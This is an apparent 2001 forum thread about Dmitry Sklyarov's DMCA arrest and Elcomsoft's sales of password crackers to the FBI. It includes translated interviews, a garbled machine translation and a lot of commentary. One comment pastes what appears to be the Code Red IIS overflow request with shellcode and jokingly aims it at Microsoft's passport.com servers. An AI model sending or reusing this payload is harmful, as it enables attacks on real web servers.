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Dimitry's company sold password crackers to the FBI
According to this russian article, Elcomsoft sold password crackers to the FBI. Elcomsoft's president, Alexander Katalov said
"Yes, main customers of our program for breaking passwords are special services. Same FBI repeatedly for us purchased these programs". Since Alexander was involved in the KGB, he is apparently trying to pull favours from his FBI friends.
The following russian to english translator appears to work on the article. Alternatively you can read this Inquirer article which provides a partial translation.
If the FBI would arrest themselves for violating the DMCA everything would be peachy.
Alexander how there was Dmitry's arrest?
We get handcuffed!!
What your lawyers speak?
How are you client?
All your rights are belong to government.
You have no chance to survive.
What you are going to do(make) now?
Since I have no chance to survive,
I will make my time.
Ha Ha Ha Ha!
But you see "having broken open" the book once, it is possible to distribute her(it) then...
Move 'broken female book.'
You know what you doing.
Take off every 'broken female book.'
Final thoughts?
Please, get me out of here.
For great justice!!!
FBI?
KGB?
OSS?
EFF?
*core dump. Unable to parse universe.
; -- the corruption of government starts with its secrets. a truly free people keep no secrets. --
--
Investigative journalists-- there's a Pulitzer waiting for you in here somewhere.
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This is my SIG. There are many like it, but this one is mine.
Hey looks like Sklyarov isnt the only one "cracking" things he shouldn't be...
It's ok because we're the government... Riiiight.
prosebeforehos.com
The FBI probably has a copy of every cracking/security gizmo out there. They're in the security business, they get them primarily to know how they work and what their "adversaries" have and can get and can do.
If this is a surprise to anyone, I'm surprised...
[See the parrent for the first part]
So you are saying that Adobe got interested in you only after they got in trouble themselves?
Yes! Barnes&Noble stopped selling ellectronic books for 24 hours and announced that the Adobe format cannot provide adequate security. Adobe's actions started after that.
Recently in the US there was a similar case regarding a program to break DVD encryption. And they did win a case in court against people who were distributing DeCSS.
Yes, our story with eBook is closest to the DeCSS case: they created a program , which allows the viewing of DVD movies on Linux. But they are already winning similar cases, and filing counter-suits. After all, they were forbidden to publish the algorithms, and algorithms are scientific work, which cannot be prevented from distribution.
It is known that the FBI sometimes arrests hackers only to offer them freedom in return to collaboration. Is it possible that Dmitriy will be freed in this way?
Well, they could have done this to me, since I studied at the KGB Institute once uppon a time. In Dmitriy'c case, I doubt it. Unless they invite him to work as a programmer...
But hasn't "Elcomsoft" already collaborated with the FBI?
Yes, the main users of our password-cracking program are law enforcement agencies. That same FBI has bought these programs from us many times.
Wouldn't this help free Dmitriy?
I don't know. These are different departments. I will try to call my contacts, of course.
From http://www.netoscope.ru/theme/2001/07/17/2925.html
They Handcuffed Dmitriy Right Away
Alexey Andreyev
lexa@spb.cityline.ru
7/17/2001
The president of "Elcomsoft" Aleksandr Katalov tells details about the arrest of the company's employee Dmitriy Sklyarov. The FBI arrested Dmitriy in Las Vegas after his presentation at Def Con of a [computer] science paper, part of his dissertation. In the USA, however, he is going to be tried as a malicious hacker.
Aleksandr, how was Dmitriy arrested?
DefCon was on Sunday, and Dmitriy was presenting our paper "eBook Security: Theory and Practice." On Monday morning, he, and another of our employees, Andrey, were leaving the hotel for the airport. Two individuals stopped them at the exit. They showed them FBI badges, and handcuffed Dmitriy right away. Dmitriy and Andrey were led to different rooms. The just had a discussion with Andrey - asked him this and that for about half an hour, then let him go. He tried to call me several times, but couldn't reach me. Then he called the Moscow office around 10:30, and they sent us an [e-]mail about the arrest.
Was Dmitriy Sklyarov the only author of the program "Advanced eBook Processor" (because of which he was arrested)?
Of course not! Also, he was responsible for the scientific, research part of the project, he is the author of the algorithms. This is part of his dissertation. At least three employees of our company have worked on this program, and it is distributed under the "Elcomsoft" brand. But now the Americans, most likely, will try to represent this as a break-in, perpetrated by some lone Russian hacker.
So it turns out, they "took away" Dmitriy, only because he did a presentation at DefCon?
It looks like it, yes. Although at the beginning of his presentation he announced that he is employed by "Elcomsoft", the company which developed this program.
What do your lawyers say?
Our lawyers learned about the arrest in the evening, after everything was already closed. Here is what happened: after I got the message about the arrest, I immediately called the Russian consulate. They suggested that I wait until noon - maybe he would be placed on the flight to LA, and from there on the Aeroflot flight home. However, he didn't show up at the airport. After that the consulate started preparing an official inquiry for the American authorities. They were dealing with that until about 2 pm, when the check-in for the flight was over - it was clear the Dmitriy hadn't left. On top of that, we had no idea where he was. Around 2 the consulate made the inquiry but until the end of the work day - 6 pm - there was no response. In other words, on Monday there was no information whatsoever.
On Tuesday morning, when our Moscow office openned, Dmitriy's wife called. She told them that she was called and informed through a translator that her husband was arrested. They didn't let her talk to him personally. This happened around 4 am Moscow time - so here it was still around 3 pm on Monday. Turns out that they didn't inform the consulate that day.
Have they filed charges?
From what I understood from Dmitriy's wife (and she wasn't clear on everything under these circumstances, she also has a two-month old child) - yesterday was when he was arraigned. And it was decided that until the trial Dmitriy will stay in jail, because there is no one here to post bail for him. Further more, they did not tell anyone [who could post bail] about the arrest - not us, not the consulate. Obviously, we couldn't do anything yesterday.
After this case, and the arrest of another Russian hacker earlier, one could think that the FBI has established a new operating procedure: lure Russain hackers to the US, and arrest them there, "according to their laws." Have your employees traveled before to meetings like DefCon? Were there no similar stories?
This story is truly a test of [...] the U.S. Constitution.
The U.S. what? The what constitution? The what what?
OH, you mean that thing that Congress has been wiping its ass with for the last century, that the religious wacko right wants to do away with, that the chucklehead left wants to do away with, and which wouldn't be ratified if it were brought to a vote today?
It describes a different, better, and dead country. May its day come again.
- - - - -
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
I spent a couple of hours translating this stuff while my manager was trying to sneak up on me from behind to catch me reading /., got my shitty 1 point for no thanks. And after all of this you are talking about justice.
Also, I recently applied for a position as a software engineering manager at Adobe, which would be a good job for me and for which I feel I am qualified. Times have been tough for me and my little family and for quite some time I thought I might not speak out in a public way on this matter.
But long ago I decided that staying quiet was the wrong thing to do, so after quaking in fear for a while I decided I'd copy the following letter to the nice lady in the Adobe HR department who has been considering my application.
Mike
-- Could you use my software consulting serv
Alexander how there was Dmitry's arrest?
- On Sunday there was conference Def Con. There Dmitry appeared with our presentation eBook Security: Theory and Practice . On Monday in the morning, about nine hours, it(he) and one more our employee, Andrey, left hotel in the airport. On an output(exit) from hotel of them two have stopped. Have presented certificates of agents of FBI. On Dmitry at once give handcuffs. And at once have dissolved them with Andrey on different to rooms. With Andrey had simply a talk - about(near) poluchasa asked, what yes as after that have released(let off). It(he) some times tried to phone to me, but it was impossible. Then it(he) has phoned in the Moscow office, somewhere in the half-tenth, and to us therefrom have thrown a mail with the message on arrest.
- What your lawyers speak?
- Our lawyers know about arrest only to evening when all was already closed. Business occured so: after the message on arrest I have called at once in the Russian consulate. In consulate to me all over again have offered to wait till 12 o'clock in the afternoon - can be, it(him) all the same will plant aboard the plane and will send to Los Angeles, and therefrom already trip of "Aeroflot". But it(he) and has not appeared at the airport. After that the consulate began to make out official inquiry to the American authorities. With it they were taken till two when registration aboard the plane was ended - it became clear, that Dmitry has not departed. Thus we at all did not know, where it(he) in general is. About two consulate has sent inquiry, but up to the end of a working day - till six evenings - we and have not received the answer to him(it). That is on Monday of the information of any at all was not.
On Tuesday in the morning when our Moscow office has opened, wife Dimy there has called. She(it) has told, that to it(her) have called and through a translator have informed, that its(her) husband is arrested. To it(him) to it(her) to talk did not give. It has taken place about 4 o'clock in the morning on Moscow - that is here was about 3 o'clock in the afternoon of Monday. It is received, that they and have not transmitted the information on arrest to consulate till evening.
- What you are going to do(make) now?
- Yesterday it was in general not clear where to access. Now for us eight mornings (Tuesday - red. ), for me here the attorney, we shall understand with it(him) today, that it is possible to make. I have cancelled the further flights - visiting three more conferences was scheduled. It was necessary to hand over ticket and to remain in Las Vegas. My brother Vladimir, managing director our company, has departed to Moscow to complete there different affairs - I it(him) conducted up to the plane to be sure, that with it(him) of nothing happened.
- But you see "having broken open" the book once, it is possible to distribute her(it) then...
- Our program "does not break open" the book: the one who has purchased her(it) can produce the second copy of the book. If the person has made a copy and itself began to sell her(it) on piracy disks - it(he) infringes that it the law, instead of our program. And manufacture of copies for own needs - is valid. In general, under the Russian legislation, software Adobe which does not give illegal& to use the purchased product there where that is wanted by the buyer without delay. This violation of rights of a customer. Besides during a purchase of books in Adobe format the customer is not notified at all on these limitations.
- A visitor to this country is jailed because of something he did in his own country infuriated an American corporation.
- Same visitor did not commit ANY illegal acts in this country.
- Visitor's said actions were very much legal in his own country.
- This story is not even mentioned by the news media.
And this is America, the land of the free?
This happens all the time at the university I work at, I'll call a company wanting to purchase equiptment and they'll make a quote and a half our later the sales rep for my university will call (who I've never heard of) wondering why I didn't go through him -- after all -- he sold the XXX lab some equiptment not two weeks ago -- and the answer of course is -- in large orginizations departments don't communicate about this as mundane as software/hardware purchases ...
Free Techno/Jazz/DNB/MI Music by guys obsessed with monkeys!
Who wrote that circumvention device that allows access to copyrighted information that has been encrypted in Russian?
134340: I am not a number. I am a free planet!
It's worse that Elcomsoft sells rather nasty spamware.
If it had been idealism, I would have been on the barricade right away, but this is a case of Elcomsoft's money vs. Adobe's money, and I think I'll limit my protest to underwriting petitions, and speak out against the use of PDF.
But you guys need to get rid of DMCA, it is clearly a significant threat to free expression, and I guess this is a good case to use in that fight. Just don't make heros of Elcomsoft.
Employee of Inrupt, Project Release Manager and Community Manager for Solid
Doubt it. A corrupt legal system is one of the main things that keeps Russia a third world nation, and the USA on top.
The Nazi pinhead shouting obscenities and "Kill the Jews" outside Temple, HIS speech is protected.
The right-wing minister protesting at a funeral, screaming "God's vengeance on fags," HIS speech is protected.
A geek programmer from Russia gives a speech on software security, and his speech ISN'T protected.
Something's wrong with this picture, maybe the vertical hold's broken...
the password cracker program works well but you can just emulate it's functionality by sending this line to the www.passport.com servers over at microsoft ;-)
/default.ida?
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%
u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%
u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%
u0078%u0000%u00=a HTTP/1.0
GET
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
This event is an embarrassment, as an American, because this is a law which, arguably, is truly unsound and unjust on its face, and it is untested. And, the first test subject for this law is a non-American. Would it matter if this law was first tested on an American? Possibly --- this is a matter that should be tested by an American because it is a U.S. matter; a matter which should be resolved within our own borders.
/., a non-American whose first language is not English, and I'm not sure if this was his first visit to America, sits in confinement in a U.S. federal prison. Has he spoken with his family? No. His government? No. And how does he feel about America?
I am truly embarrassed.
As we post and read messages on
This issue must be a headline story in mainstream media --- it is far more important than a story of a horny U.S. Congressman. This story is truly a test of due process, free speech, a demonstration of the powers in Washington D.C. and of the U.S. Constitution.
"There ought to be limits to freedom"
Come on now, if you had clients who were in the FBI, wouldn't you attempt to lobby their support for your cause? I know that I would, but, unfortunately, I happen to not know any. The goverment of the US is a highly charged political arena. Being from Chicago ( in the US ), I quickly learned that isn't what you know, or what you have done, or what you have, but rather, who you know. ( Do a search for corruption in Chicago on www.google.com ) I am sorry to say but I honestly doubt a grassroots campaign is going to work towards a mutually benifitial arrangement here. The DMCA is seriously flawed, and the lawyers of major corporations know this, and are exploiting that fact. (Just look at the entire MP3 for personal use posts on /. within the past few weeks). Because he has friends also in the FBI, (and because of that, friends all over the executive branch of government) he is going to going to use everyone he knows to try and get him out of jail. I mean, have you ever sat in jail? If you have, you know that you call _every_ person you can (and are able to) to help get you out of this bind.
At least that is my opinion, but remember, it is worth what you paid for it.
Blah Blah Blah.
..as usual. however, i wouldn't be surprised if FBI or any other, be it a govermental or private party, used the software. why the hell not? and for those of you who claim that russian media is mum, you're just not informed well or speak out of your ignorance. yes, maybe some peasant who doesn't watch news in Urals might not even know what "hacking" is, but people are rather informed about the matter and updated constantly, for all major newspapers/radio/tv shows report the incident on a daily basis. as per the consulate, it is actively involved. FBI has realized that they did a big no-no and now the try to dig themselves out a pile of sh$t they got themselves in. acting merely out of unknown impulse, they have once again damaged their reputation. adobe is as well, trying to smooth the situation. believe me, in few days the whole thing will get resolved and the guy will get sent back home w/o facing a trial. no, im not a troll.. and yes, i am russian :)